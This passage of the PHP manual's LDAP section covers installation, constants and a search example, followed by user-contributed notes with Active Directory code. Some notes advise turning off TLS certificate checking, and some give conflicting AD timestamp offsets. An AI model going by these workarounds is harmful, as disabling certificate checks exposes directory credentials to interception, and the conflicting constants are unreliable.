    • ldap_dn2ufn — Convert DN to User Friendly Naming format
    • ldap_err2str — Convert LDAP error number into string error message
    • ldap_errno — Return the LDAP error number of the last LDAP command
    • ldap_error — Return the LDAP error message of the last LDAP command
    • ldap_explode_dn — Splits DN into its component parts
    • ldap_first_attribute — Return first attribute
    • ldap_first_entry — Return first result id
    • ldap_first_reference — Return first reference
    • ldap_free_result — Free result memory
    • ldap_get_attributes — Get attributes from a search result entry
    • ldap_get_dn — Get the DN of a result entry
    • ldap_get_entries — Get all result entries
    • ldap_get_option — Get the current value for given option
    • ldap_get_values_len — Get all binary values from a result entry
    • ldap_get_values — Get all values from a result entry
    • ldap_list — Single-level search
    • ldap_mod_add — Add attribute values to current attributes
    • ldap_mod_del — Delete attribute values from current attributes
    • ldap_mod_replace — Replace attribute values with new ones
    • ldap_modify — Modify an LDAP entry
    • ldap_next_attribute — Get the next attribute in result
    • ldap_next_entry — Get next result entry
    • ldap_next_reference — Get next reference
    • ldap_parse_reference — Extract information from reference entry
    • ldap_parse_result — Extract information from result
    • ldap_read — Read an entry
    • ldap_rename — Modify the name of an entry
    • ldap_sasl_bind — Bind to LDAP directory using SASL
    • ldap_search — Search LDAP tree
    • ldap_set_option — Set the value of the given option
    • ldap_set_rebind_proc — Set a callback function to do re-binds on referral chasing
    • ldap_sort — Sort LDAP result entries
    • ldap_start_tls — Start TLS
    • ldap_t61_to_8859 — Translate t61 characters to 8859 characters
    • ldap_unbind — Unbind from LDAP directory

User Contributed Notes

beni at php dot net 13-Jul-2009 01:51
For an fast and easy LDAP API also see PEARs Net_LDAP2 package at http://pear.php.net/package/Net_LDAP2 wich puts an object oriented layer above this LDAP functions.
java_last_exception_get
Introduction
Other Services


Introduction

LDAP is the Lightweight Directory Access Protocol, and is a protocol used to access "Directory Servers". The Directory is a special kind of database that holds information in a tree structure.

The concept is similar to your hard disk directory structure, except that in this context, the root directory is "The world" and the first level subdirectories are "countries". Lower levels of the directory structure contain entries for companies, organisations or places, while yet lower still we find directory entries for people, and perhaps equipment or documents.

To refer to a file in a subdirectory on your hard disk, you might use something like:

   /usr/local/myapp/docs

The forwards slash marks each division in the reference, and the sequence is read from left to right.

The equivalent to the fully qualified file reference in LDAP is the "distinguished name", referred to simply as "dn". An example dn might be:

   cn=John Smith,ou=Accounts,o=My Company,c=US

The comma marks each division in the reference, and the sequence is read from right to left. You would read this dn as:

   country = US
   organization = My Company
   organizationalUnit = Accounts
   commonName = John Smith

In the same way as there are no hard rules about how you organise the directory structure of a hard disk, a directory server manager can set up any structure that is meaningful for the purpose. However, there are some conventions that are used. The message is that you can not write code to access a directory server unless you know something about its structure, any more than you can use a database without some knowledge of what is available.

Lots of information about LDAP can be found at

  • » Mozilla

  • » OpenLDAP Project

The Netscape SDK contains a helpful » Programmer's Guide in HTML format.

User Contributed Notes

There are no user contributed notes for this page.
LDAP
Installing/Configuring
LDAP


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
LDAP


Requirements

You will need to get and compile LDAP client libraries from either » OpenLDAP or » Bind9.net in order to compile PHP with LDAP support.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

LDAP support in PHP is not enabled by default. You will need to use the --with-ldap[=DIR] configuration option when compiling PHP to enable LDAP support. DIR is the LDAP base install directory. To enable SASL support, be sure --with-ldap-sasl[=DIR] is used, and that sasl.h exists on the system.

Note: Note to Win32 Users

In order for this extension to work, there are DLL files that must be available to the Windows system PATH. For information on how to do this, see the FAQ entitled "How do I add my PHP directory to the PATH on Windows". Although copying DLL files from the PHP folder into the Windows system directory also works (because the system directory is by default in the system's PATH), this is not recommended. This extension requires the following files to be in the PATH: libeay32.dll and ssleay32.dll

Versions before PHP 4.3.0 additionally require libsasl.dll.

In order to use Oracle LDAP libraries, proper Oracle environment has to be set.

User Contributed Notes

kirk dot kerr at arcusfm dot com 10-Jan-2011 04:54
It seems that the php 5.3 windows installer does not install the ldap.dll to the hard drive as standard - during the install process i had to specifically request that it was installed.
tom at wheelercreek dot com 27-Apr-2009 10:23
Sorry - I was referring to "php_ldap.dll", not php_lamp.dll
tom at wheelercreek dot com 24-Apr-2009 03:57
If you're running on Windows XP with Apache, and you installed PHP 5 from the windows installer rather than the full zipped version - you may not have the php_ldap.dll file.

I had to follow the steps above, making sure PHP was added to my Windows Path, adding the 2 dll files to the system32 directory, also making sure the php.ini extensions directory was set correctly (in my case: C:\Program Files\PHP\ext).

Still was a getting a message about not being able to locate the "php_lamp.dll" file.  I finally went back, downloaded the full .zip file of latest PHP version, and that missing dll file is included there - along with many others.

Remember to restart Apache server after you do all this.
pam81 11-Nov-2008 05:01
with EasyPHP  uncomment in php.ini the extension

extension=php_ldap.dll

Restart the server and it works.
Steve 06-Aug-2008 11:03
Running under IIS, I found php_ldap would not load even though d:\php contained libeay32.dll and ssleay32.dll, and d:\php was in the PATH environment variable.

I finally tracked this down to the position of d:\php in the PATH.  If d:\php is near the head of the PATH, everything works fine.  If d:\php is near the end of the PATH, apparently it gets ignored by IIS (even though it works fine from the command line, e.g., with php -m).  Have no idea why this is.
Anonymous 26-May-2008 04:15
Running under IIS, I did not find the need to download and compile libraries.

1. Edit PHP.INI (which should be in windows directory)
2. Uncomment the line extension=php_ldap.dll
3. Restart IIS
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

LDAP configuration options
Name | Default | Changeable | Changelog
ldap.max_links | "-1" | PHP_INI_SYSTEM |
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

User Contributed Notes

There are no user contributed notes for this page.
Installation
Resource Types
Installing/Configuring


Resource Types

Most LDAP functions operate on or return resources (e.g. ldap_connect() returns a positive LDAP link identifier required by most LDAP functions).

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Predefined Constants
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

LDAP_DEREF_NEVER (integer)
LDAP_DEREF_SEARCHING (integer)
LDAP_DEREF_FINDING (integer)
LDAP_DEREF_ALWAYS (integer)
LDAP_OPT_DEREF (integer)
Specifies alternative rules for following aliases at the server.
LDAP_OPT_SIZELIMIT (integer)

Specifies the maximum number of entries that can be returned on a search operation.

Note: The actual size limit for operations is also bounded by the server's configured maximum number of return entries. The lesser of these two settings is the actual size limit.

LDAP_OPT_TIMELIMIT (integer)
Specifies the number of seconds to wait for search results.

Note: The actual time limit for operations is also bounded by the server's configured maximum time. The lesser of these two settings is the actual time limit.

LDAP_OPT_NETWORK_TIMEOUT (integer)
Option for ldap_set_option() to allow setting network timeout. (Available as of PHP 5.3.0)
LDAP_OPT_PROTOCOL_VERSION (integer)
Specifies the LDAP protocol to be used (V2 or V3).
LDAP_OPT_ERROR_NUMBER (integer)
LDAP_OPT_REFERRALS (integer)
Specifies whether to automatically follow referrals returned by the LDAP server.
LDAP_OPT_RESTART (integer)
LDAP_OPT_HOST_NAME (integer)
LDAP_OPT_ERROR_STRING (integer)
LDAP_OPT_MATCHED_DN (integer)
LDAP_OPT_SERVER_CONTROLS (integer)
Specifies a default list of server controls to be sent with each request.
LDAP_OPT_CLIENT_CONTROLS (integer)
Specifies a default list of client controls to be processed with each request.
LDAP_OPT_DEBUG_LEVEL (integer)
Specifies a bitwise level for debug traces.
GSLC_SSL_NO_AUTH (integer)
GSLC_SSL_ONEWAY_AUTH (integer)
GSLC_SSL_TWOWAY_AUTH (integer)

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Using the PHP LDAP calls
LDAP


Using the PHP LDAP calls

Before you can use the LDAP calls you will need to know ..

  • The name or address of the directory server you will use

  • The "base dn" of the server (the part of the world directory that is held on this server, which could be "o=My Company,c=US")

  • Whether you need a password to access the server (many servers will provide read access for an "anonymous bind" but require a password for anything else)

The typical sequence of LDAP calls you will make in an application will follow this pattern:

  ldap_connect()    // establish connection to server
     |
  ldap_bind()       // anonymous or authenticated "login"
     |
  do something like search or update the directory
  and display the results
     |
  ldap_close()      // "logout"

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
Examples
LDAP


Examples

Table of Contents

  • Basic usage

User Contributed Notes

mr dot wolf at thesolver dot net 27-Jun-2008 03:46
Consider to add a row like:
ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);
before:
$ds=ldap_connect("localhost");  // must be a valid LDAP server!

if your ldap server if configured to not bind the 2nd version of ldap protocol...
(or add "allow bind_v2" in the server's ldap.conf).
Using the PHP LDAP calls
Basic usage
LDAP


Basic usage

Retrieve information for all entries where the surname starts with "S" from a directory server, displaying an extract with name and email address.

Example #1 LDAP search example

<?php
// basic sequence with LDAP is connect, bind, search, interpret search
// result, close connection

echo "<h3>LDAP query test</h3>";
echo "Connecting ...";
$ds=ldap_connect("localhost");  // must be a valid LDAP server!
echo "connect result is " . $ds . "<br />";

if ($ds) {
    echo "Binding ...";
    $r=ldap_bind($ds);     // this is an "anonymous" bind, typically
                           // read-only access
    echo "Bind result is " . $r . "<br />";

    echo "Searching for (sn=S*) ...";
    // Search surname entry
    $sr=ldap_search($ds, "o=My Company, c=US", "sn=S*");
    echo "Search result is " . $sr . "<br />";

    echo "Number of entires returned is " . ldap_count_entries($ds, $sr) . "<br />";

    echo "Getting entries ...<p>";
    $info = ldap_get_entries($ds, $sr);
    echo "Data for " . $info["count"] . " items returned:<p>";

    for ($i=0; $i<$info["count"]; $i++) {
        echo "dn is: " . $info[$i]["dn"] . "<br />";
        echo "first cn entry is: " . $info[$i]["cn"][0] . "<br />";
        echo "first email entry is: " . $info[$i]["mail"][0] . "<br /><hr />";
    }

    echo "Closing connection";
    ldap_close($ds);

} else {
    echo "<h4>Unable to connect to LDAP server</h4>";
}
?>

User Contributed Notes

There are no user contributed notes for this page.
Examples
LDAP Functions
Examples


LDAP Functions

Table of Contents

  • ldap_8859_to_t61 — Translate 8859 characters to t61 characters
  • ldap_add — Add entries to LDAP directory
  • ldap_bind — Bind to LDAP directory
  • ldap_close — Alias of ldap_unbind
  • ldap_compare — Compare value of attribute found in entry specified with DN
  • ldap_connect — Connect to an LDAP server
  • ldap_count_entries — Count the number of entries in a search
  • ldap_delete — Delete an entry from a directory
  • ldap_dn2ufn — Convert DN to User Friendly Naming format
  • ldap_err2str — Convert LDAP error number into string error message
  • ldap_errno — Return the LDAP error number of the last LDAP command
  • ldap_error — Return the LDAP error message of the last LDAP command
  • ldap_explode_dn — Splits DN into its component parts
  • ldap_first_attribute — Return first attribute
  • ldap_first_entry — Return first result id
  • ldap_first_reference — Return first reference
  • ldap_free_result — Free result memory
  • ldap_get_attributes — Get attributes from a search result entry
  • ldap_get_dn — Get the DN of a result entry
  • ldap_get_entries — Get all result entries
  • ldap_get_option — Get the current value for given option
  • ldap_get_values_len — Get all binary values from a result entry
  • ldap_get_values — Get all values from a result entry
  • ldap_list — Single-level search
  • ldap_mod_add — Add attribute values to current attributes
  • ldap_mod_del — Delete attribute values from current attributes
  • ldap_mod_replace — Replace attribute values with new ones
  • ldap_modify — Modify an LDAP entry
  • ldap_next_attribute — Get the next attribute in result
  • ldap_next_entry — Get next result entry
  • ldap_next_reference — Get next reference
  • ldap_parse_reference — Extract information from reference entry
  • ldap_parse_result — Extract information from result
  • ldap_read — Read an entry
  • ldap_rename — Modify the name of an entry
  • ldap_sasl_bind — Bind to LDAP directory using SASL
  • ldap_search — Search LDAP tree
  • ldap_set_option — Set the value of the given option
  • ldap_set_rebind_proc — Set a callback function to do re-binds on referral chasing
  • ldap_sort — Sort LDAP result entries
  • ldap_start_tls — Start TLS
  • ldap_t61_to_8859 — Translate t61 characters to 8859 characters
  • ldap_unbind — Unbind from LDAP directory

User Contributed Notes

idbobby at rambler dot ru 12-Aug-2010 02:26
First of all, sorry for my English.
Here are two functions to check group membership and some others which can be useful for work with LDAP (Active Directory in this example).

index.php
---------

<?php

$user = 'bob';
$password = 'zhlob';
$host = 'myldap';
$domain = 'mydomain.ex';
$basedn = 'dc=mydomain,dc=ex';
$group = 'SomeGroup';

$ad = ldap_connect("ldap://{$host}.{$domain}") or die('Could not connect to LDAP server.');
ldap_set_option($ad, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_set_option($ad, LDAP_OPT_REFERRALS, 0);
@ldap_bind($ad, "{$user}@{$domain}", $password) or die('Could not bind to AD.');
$userdn = getDN($ad, $user, $basedn);
if (checkGroupEx($ad, $userdn, getDN($ad, $group, $basedn))) {
//if (checkGroup($ad, $userdn, getDN($ad, $group, $basedn))) {
    echo "You're authorized as ".getCN($userdn);
} else {
    echo 'Authorization failed';
}
ldap_unbind($ad);

/*
* This function searchs in LDAP tree ($ad -LDAP link identifier)
* entry specified by samaccountname and returns its DN or epmty
* string on failure.
*/
function getDN($ad, $samaccountname, $basedn) {
    $attributes = array('dn');
    $result = ldap_search($ad, $basedn,
        "(samaccountname={$samaccountname})", $attributes);
    if ($result === FALSE) { return ''; }
    $entries = ldap_get_entries($ad, $result);
    if ($entries['count']>0) { return $entries[0]['dn']; }
    else { return ''; };
}

/*
* This function retrieves and returns CN from given DN
*/
function getCN($dn) {
    preg_match('/[^,]*/', $dn, $matchs, PREG_OFFSET_CAPTURE, 3);
    return $matchs[0][0];
}

/*
* This function checks group membership of the user, searching only
* in specified group (not recursively).
*/
function checkGroup($ad, $userdn, $groupdn) {
    $attributes = array('members');
    $result = ldap_read($ad, $userdn, "(memberof={$groupdn})", $attributes);
    if ($result === FALSE) { return FALSE; };
    $entries = ldap_get_entries($ad, $result);
    return ($entries['count'] > 0);
}

/*
* This function checks group membership of the user, searching
* in specified group and groups which is its members (recursively).
*/
function checkGroupEx($ad, $userdn, $groupdn) {
    $attributes = array('memberof');
    $result = ldap_read($ad, $userdn, '(objectclass=*)', $attributes);
    if ($result === FALSE) { return FALSE; };
    $entries = ldap_get_entries($ad, $result);
    if ($entries['count'] <= 0) { return FALSE; };
    if (empty($entries[0]['memberof'])) { return FALSE; } else {
        for ($i = 0; $i < $entries[0]['memberof']['count']; $i++) {
            if ($entries[0]['memberof'][$i] == $groupdn) { return TRUE; }
            elseif (checkGroupEx($ad, $entries[0]['memberof'][$i], $groupdn)) { return TRUE; };
        };
    };
    return FALSE;
}

?>
ben_demott at hotmail dot com 01-Apr-2008 06:54
For anyone that is a programmer and not extremely familiar with naming conventions in Microsoft Active Directory or how to find objects within the directory, or more importantly how to reference the objects.
Running "adsiedit.msc" from the command line will display all of your objects in the directory in an easy to read and copyable naming format.
Hope this is helpful!

Note:
You must Run this command from an AD Domain Controller
You Must have the Windows Resource Kit Tools installed
(wouldn't let me make a link that long so I had to make a link break - Sorry!)
a http://www.microsoft.com/downloads/details.aspx
?FamilyID=9d467a69-57ff-4ae7-96ee-b18c4790cffd&displaylang=en

Installing this tool should modify your system path so you can just type the command from the run dialogue, otherwise the absolute path is:
C:\Program Files\Windows Resource Kits\Tools\adsiedit.msc
tuliogs at pgt dot mpt dot gov dot br 14-Jan-2008 12:53
This may be related to bug #28150, but as it´s marked "Won´t fix", I thought it´d be good to post this here, ´cause it´s a real bugger. :)

When compiling on AMD64 RedHat (and so possibly on CentOS), the configure script fails to find LDAP libraries under /usr/lib64, because it only searches under /usr/lib.

It´s hardcoded, so LDFLAGS, CPPFLAGS and --libdir are of no use, and neither is editing ext/ldap/config.m4 and running buildconf; you´ll need to manually edit configure and alter all occurrences of LDAP_LIBDIR to "lib64". Else, you´ll get a "cannot find ldap libs under /usr/lib" or "cannot find ldap.h" error upon configure.
alex at netflex dot nl 03-Sep-2007 06:49
If you want to use ldaps on windows but you don't want to validate the tls certificate try the following line before the ldap_connect call:

putenv('LDAPTLS_REQCERT=never') or die('Failed to setup the env');
Tod 03-Jul-2007 05:10
Notes for people running PHP 4 with Apache 2.2 on Win2k3.
The Apache Service needs to be running under the local administrators account in order for the ldap_connect to return a result. As apposed to the Domain Administrators account as may happen on servers in an Active Directory Domain.

It will 'appear' to work ok but will return no results otherwise.

so use (server name)\administrator for the username in the service logon properties.

Tod
jector at inbox dot ru 18-Mar-2007 09:01
Spent some time on fixing "Unable to load dynamic library 'php_ldap.dll'. Copied libeay32.dll and ssleay32.dll  everywhere, but error still stands.

After digging all this dlls I found, that both libeay32.dll and ssleay32.dll need msvcr70.dll (or msvcr71.dll, it depends on the compiler version). Then just copy that dll to system32\ dir and it works perfectly.
maykelsb at yahoo dot com dot br 12-Feb-2007 11:27
Problems with ldap_search in W2k3, can be solved adding

// -- $conn is a valid ldap connection.

ldap_set_option($conn, LDAP_OPT_PROTOCOL_VERSION,3);
ldap_set_option($conn, LDAP_OPT_REFERRALS,0);

before ldap_bind, as sad in http://bugs.php.net/bug.php?id=30670.
unroar at gmail dot com 11-Dec-2006 05:33
In Solaris 9 the libnet library is a prerequisite for building  PHP with LDAP, SASL and SSL (libnet is available on Sunfreeware).

I didn't see this mentioned anywhere and I'm not sure if it is required by ldap or sasl or ssl.  I just spent an hour on Google with no luck before I figured it out, maybe this comment will help the next googler.

The error is,
ld: fatal: library -lnet: not found
ld: fatal: File processing errors. No output written to sapi/cli/php
collect2: ld returned 1 exit status
make: *** [sapi/cli/php] Error 1
nigelf at esp dot co dot uk 16-Nov-2006 06:34
Chasing referrals in Active Directory (ie: searching across domains), can be slow.  You can look up the object instead in the GC (Global Catalog) as follows:

Remove any reference to ldap:// when you use ldap_connect, ie: use "serv1.mydom.com" NOT "ldap://serv1.mydom.com"

Connect to port 3268 (not 389, the default)

Set the Base DN for the search to null ie: "" (empty quotes).

AD will then run the search against the GC which holds a copy of all objects in the Forest.  You can also retrieve a subset of attributes (including group membership, except local groups).

You will still need to follow referals for a full set of attributes.
gcathell at thetdgroup dot com 07-Jul-2006 09:05
I recently had to access a Microsoft Active Directory server as an LDAP service over SSL using PHP.  It took me a long time to get all the information I needed to get it to work.

I attempted to post a note here with the details but it ended it being too long.  I've placed the details at the following URL in hopes that someone else will benefit and will be able to solve the problem much more quickly than I did.

http://greg.cathell.net/php_ldap_ssl.html

Good luck!
brudinie at yahoo dot co dot uk 26-Jan-2006 08:43
LDAP Active Directory Last Logon (lastlogon).

This took me an entire day to work out. If you want to get the last logon date from an active directory account, you have to convert it from AD time stamp to unix time stamp.
Once you've got a unix time stamp, PHP can format it as a date.

Here is the code to do it:

        $dateLargeInt=$info[$i]["lastlogon"][0]; // nano seconds (yes, nano seconds) since jan 1st 1601
        $secsAfterADEpoch = $dateLargeInt / (10000000); // seconds since jan 1st 1601
        $ADToUnixConvertor=((1970-1601) * 365.242190) * 86400; // unix epoch - AD epoch * number of tropical days * seconds in a day
        $unixTsLastLogon=intval($secsAfterADEpoch-$ADToUnixConvertor); // unix Timestamp version of AD timestamp
        $lastlogon=date("d-m-Y", $unixTsLastLogon); // formatted date
nacenroe at remove dot this dot nystec dot com 19-Dec-2005 12:28
If you're looking to use PHP to integrate LDAP with AD (I'm working with Win2K3), you may want to tinker with the LDP.exe tool included (no resource kit needed!!) with Win2k and Win2K3.  You can run this app right from the command line.

The Win2K3 Help function was a good start point, and then pointed me to an article in the M$ KB: http://support.microsoft.com/default.aspx?scid=kb;en-us;255602 (XADM: Browsing and Querying Using the LDP Utility).

So ... if your connect/bindings are working but your queries are not, you may want to start here.  I'm finding it very useful when I run it on the local AD to see the attributes, etc.
ooja at roceindhoven dot nl 24-Oct-2005 11:52
If you bind anonymousely to a Windows 2003 Server (Active Directory) and you perform a ldap_search you will get an search operations error. You have to use a login and a password when binding!

I personally found alot of good information here:
http://www.scit.wlv.ac.uk/~jphb/sst/php/extra/ldap.html
christopherbyrne at hotmail dot com 16-Oct-2005 08:53
Just an ammendment to my previous post: my calculations were using east coast Australian time (GMT+10) whereas the Unix timestamp is in GMT. Therefore Active Directoy's "accountexpires" integer value does start from 1-Jan-1601 00:00:00 GMT and the number of seconds between this date and 1-Jan-1970 00:00:00 GMT is 11644524000.

The increments are still definately in 100 nanoseconds though!
christopherbyrne at hotmail dot com 16-Oct-2005 04:32
For anyone who's been having trouble working with the "accountexpires" attribute in Active Directory after having read the following article

www.microsoft.com/technet/scriptcenter/
resources/qanda/sept05/hey0902.mspx

or something similar, this may save you some frustration. In the article is is mentioned that this attribute is an integer representing the number of nanoseconds since 01-Jan-1601 00:00:00.

However the "accountexpires" attribute actually seems to be the number of 100 nanosecond increments since 31-Dec-1600 14:00:00. As a result if you divide the integer by 10,000,000 and subtract 11644560000 you will get a Unix timestamp that will match the dates in AD.

To set the "accountexpires" date just reverse the procedure, that is, get the timestamp for the new date you want, add 11644560000 and multiply by 10,000,000. You will also need to format the resultant number to make sure it is not outputted in scientific notation for AD to be happy with it.

Hope this helps!
hijinio at comcast dot net 28-Jul-2005 11:28
In case anybody has trouble configuring PHP with LDAP support on a Solaris 10 box, here is the configure line I used:

./configure --with-nsapi=/opt/SUNWwbsvr --enable-libgcc --disable-libxml --with-ldap=/usr/local --prefix=/opt/php/php-5.0.4

The important part to note is the location used for --with-ldap= ; which for most S10 people, will be "--with-ldap=/usr/local".
jpmens at gmail dot com 11-Mar-2005 02:04
Further to jabba at zeelandnet dot nl's note. If you are trying to connect to an LDAPS URI with OpenLDAP, you can either create the configuration file as described by jabba, or alternatively, use the environment settings to set LDAPTLS_REQCERT=never as described in ldap.conf(5).
Richie Bartlett(at)ITsystems-Online com 20-Dec-2004 12:44
This is an update to <i>wtfo at technocraft dot com</i> (23-May-2002 03:40)... This function allows additional (optional) parameters. The prev function listed, failed to close the ldap connection after successful authenication.

<?php
function checkNTuser($username,$password,$DomainName="myDomain",
                      $ldap_server="ldap://PDC.example.net"){//v0.9
// returns true when user/pass enable bind to LDAP (Windows 2k).
    $auth_user=$username."@".$DomainName;
    #echo $auth_user."->";
    if($connect=@ldap_connect($ldap_server)){
        #echo "connection ($ldap_server): ";
        if($bind=@ldap_bind($connect, $auth_user, $password)){
            #echo "true <BR>";
            @ldap_close($connect);
            return(true);
        }//if bound to ldap
    }//if connected to ldap
    #echo "failed <BR>";
    @ldap_close($connect);
    return(false);
}//end function checkNTuser
?>
xxoes at gmx dot de 08-Dec-2004 06:24
Yes you musst use LDAP with SSL!

$newPassword = "\"" . $new_password . "\"";
$len = strlen($newPassword);
$newPassw = "";
for($i=0;$i<$len;$i++)
   $newPassw .= "{$newPassword{$i}}\000";
$userdata["unicodepwd"] = $newPassw;
ldap_mod_replace($dn, $userdata);

My Windows php binary "PHP Version 4.3.9" dos not support LDAP with SSL, i have use stunnel to create a ssl connection.
jabba at zeelandnet dot nl 15-Nov-2004 11:51
When using PHP on windows, and you are trying to connect (bind) to a Netware (6) LDAP server that requires secure connections (LDAPS), PHP will return a message stating that the server cannot be found.

A network traffic capture of the traffic taking place on connection attempt reveals that the server supplies a certificate for use in the SSL connection, but this is rejected (***bad certificate SSLv3 packet) by the client.

The reason for this is probably that the PHP LDAP implementation tries to verify the received certificate with the CA that issued the certificate. There may be a way to make it possible that this verification succeeds, but it is also possible to disable this verification by the client (which is, in this case, PHP) by creating an openldap (surprise!!) configuration file.

The location of this configuration file seems to be hardcoded in the LDAP support module for windows, and you may need to manually create the following directory structure:

C:\openldap\sysconf\

In the sysconf folder, create a text file named 'ldap.conf' (you can use notepad for this) and, to disable certificate verification, place the following line in the ldap.conf file:

TLS_REQCERT never

After this, all the normal ldap_bind calls will work, provided your supplied user id and password are correct.
spam2004 at turniton dot dk 29-Oct-2004 05:36
Here are two small functions that enables you to convert a binary objectSID from Microsoft AD into a more usefull text version (formatted (S-1-5.....)).

// Converts a little-endian hex-number to one, that 'hexdec' can convert
function littleEndian($hex) {
    for ($x=strlen($hex)-2; $x >= 0; $x=$x-2) {
        $result .= substr($hex,$x,2);
    }
    return $result;
}

// Returns the textual SID
function binSIDtoText($binsid) {
    $hex_sid=bin2hex($binsid);
    $rev = hexdec(substr($hex_sid,0,2));          // Get revision-part of SID
    $subcount = hexdec(substr($hex_sid,2,2));    // Get count of sub-auth entries
    $auth = hexdec(substr($hex_sid,4,12));      // SECURITY_NT_AUTHORITY
    $result = "$rev-$auth";
    for ($x=0;$x < $subcount; $x++) {
        $subauth[$x] = hexdec(littleEndian(substr($hex_sid,16+($x*8),8)));  // get all SECURITY_NT_AUTHORITY
        $result .= "-".$subauth[$x];
    }
    return $result;
}

echo binSIDtoText($bin_sid);
Jimmy Wimenta Oei 23-Sep-2004 12:32
If you want to disable/enable chase referral option, you need to first set the protocol version to version 3, otherwise the LDAP_OPT_REFERRALS option will not have any effect. This is especially true for querying MS Active Directory.

<?php
ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_set_option($ds, LDAP_OPT_REFERRALS, 0);
?>

And as always, these should be called after connect but before binding.
dmeehan at flcancer dot com 12-Aug-2004 01:26
If your having problems running LDAP searches on the base DC against Active Directory 2k3, you need to set dsHeuristics to 0000002 in Active Directory. This allows searches to function similar to how they did in Active Directory 2k2. You can update dsHeuristics by launching ldp.exe goto 'connection' and create a new connection. Then goto bind and bind to your ldap server. Next select the 'Browse' menu and choose 'modify'. The DN *might* look like this:

CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=mycompany,DC=com

Attribute is: dsHeuristics
Value is: 0000002

Set the operation to replace and you should be set.
This solves the 'Operations error' error that happens when attempting to search without specifying an OU.

-d
Sami Oksanen 16-May-2004 06:27
I edited Jon Caplinger's code which is located below (date: 09-Nov-2002 05:44).

 - I corrected line
   "if (!($connect=@ldap_connect($ldap))) {" with
   "if (!($connect=@ldap_connect($ldap_server))) {"

 - Removed $name-attribute

 - "Name is:"-field was always an Array, so I changed printing line to:
   " echo "Name is: ". $info[$i]["name"][0]."<br>";"

I also added some alternative search filters to try out.

Here is the code:

<?php

$ldap_server = "ldap://foo.bar.net";
$auth_user = "user@bar.net";
$auth_pass = "mypassword";

// Set the base dn to search the entire directory.

$base_dn = "DC=bar, DC=net";

// Show only user persons
$filter = "(&(objectClass=user)(objectCategory=person)(cn=*))";

// Enable to show only users
// $filter = "(&(objectClass=user)(cn=$*))";

// Enable to show everything
// $filter = "(cn=*)";

// connect to server

if (!($connect=@ldap_connect($ldap_server))) {
     die("Could not connect to ldap server");
}

// bind to server

if (!($bind=@ldap_bind($connect, $auth_user, $auth_pass))) {
     die("Unable to bind to server");
}

//if (!($bind=@ldap_bind($connect))) {
//     die("Unable to bind to server");
//}

// search active directory

if (!($search=@ldap_search($connect, $base_dn, $filter))) {
     die("Unable to search ldap server");
}

$number_returned = ldap_count_entries($connect,$search);
$info = ldap_get_entries($connect, $search);

echo "The number of entries returned is ". $number_returned."<p>";

for ($i=0; $i<$info["count"]; $i++) {
   echo "Name is: ". $info[$i]["name"][0]."<br>";
   echo "Display name is: ". $info[$i]["displayname"][0]."<br>";
   echo "Email is: ". $info[$i]["mail"][0]."<br>";
   echo "Telephone number is: ". $info[$i]["telephonenumber"][0]."<p>";
}
?>
ant at solace dot mh dot se 26-Feb-2004 08:23
When working with LDAP, its worth remembering that the majority
of LDAP servers encode their strings as UTF-8. What this means
for non ascii strings is that you will need to use the utf8_encode and
utf8_decode functions when creating filters for the LDAP server.

Of course, if you can its simpler to just avoid using non-ascii characters
but for most sites the users like to see their strange native character
sets including umlauts etc..

If you just get ? characters where you are expecting non-ascii, then
you might just need to upgrade your PHP version.
pookey at pookey dot co dot uk 07-Oct-2003 01:57
This is an example of how to query an LDAP server, and print all entries out.

<?php

$ldapServer = '127.0.0.1';
$ldapBase = 'DC=anlx,DC=net';

/*
 * try to connect to the server
 */
$ldapConn = ldap_connect($ldapServer);
if (!$ldapConn)
{
  die('Cannot Connect to LDAP server');
}

/*
 * bind anonymously
 */
$ldapBind = ldap_bind($ldapConn);
if (!$ldapBind)
{
  die('Cannot Bind to LDAP server');
}

/*
 * set the ldap options
 */
ldap_set_option($ldapConn, LDAP_OPT_PROTOCOL_VERSION, 3);

/*
 * search the LDAP server
 */
$ldapSearch = ldap_search($ldapConn, $ldapBase, "(cn=*)");
$ldapResults = ldap_get_entries($ldapConn, $ldapSearch);

for ($item = 0; $item < $ldapResults['count']; $item++)
{
  for ($attribute = 0; $attribute < $ldapResults[$item]['count']; $attribute++)
  {
    $data = $ldapResults[$item][$attribute];
    echo $data.":&nbsp;&nbsp;".$ldapResults[$item][$data][0]."<br>";
  }
  echo '<hr />';
}

?>
paul at datacom dot bg 15-Aug-2003 02:40
This note is for people trying to load extensions which require additional dlls on W2k/XP.
As stated in the installation notes one has to copy those libraries to %SystemRoot%\system32 directory.
Generally it's not a good idea to copy files from left to right and back especially for the system folder.
The result is always a mess. I hope you'll find my way to get things working for more elegant than just copying files.
Leave those dlls where they are in dlls folder under PHP's installation path. Then edit environment variables so that the system variable PATH to include the dlls' folder. You may need to reboot the system. That's all, nice and clean.
One who doesn't know what I'm talking about should go this way:
My Computer - > Control Panel -> System -> Advanced -> Environment Variables ... -> System variables.
mrowe at pointsystems dot com 06-Aug-2003 11:58
FWIW,

Before anyone else wastes a day scratching their head wondering why they can't search Active Directory...

I wasn't able to search on Active Directory until I did this (immediately after the ldap_connect):

ldap_set_option($connect, LDAP_OPT_PROTOCOL_VERSION, 3);

I was able to ldap_bind if I didn't set this option, but I kept receiving errors.  Also note, I had to set the option BEFORE binding.
hkemale at hkem dot com 16-Jul-2003 10:49
For IIS+PHP+NTFS file system user
After copied <php_dir>/dlls/*.dll to <windows>/systems32/ remember to add read and exexcute premission to "everyone" and the extensions *.dll. this can prevent warning of Access is denied of php_ldap.dll
greatsafari at hotmail dot com 26-May-2003 11:01
Having seen so many variations of methods for connecting and query the Active Directory server, it really makes me suspect that the whole thing is dependent of the Active Directory configurations. Looking at this post at:

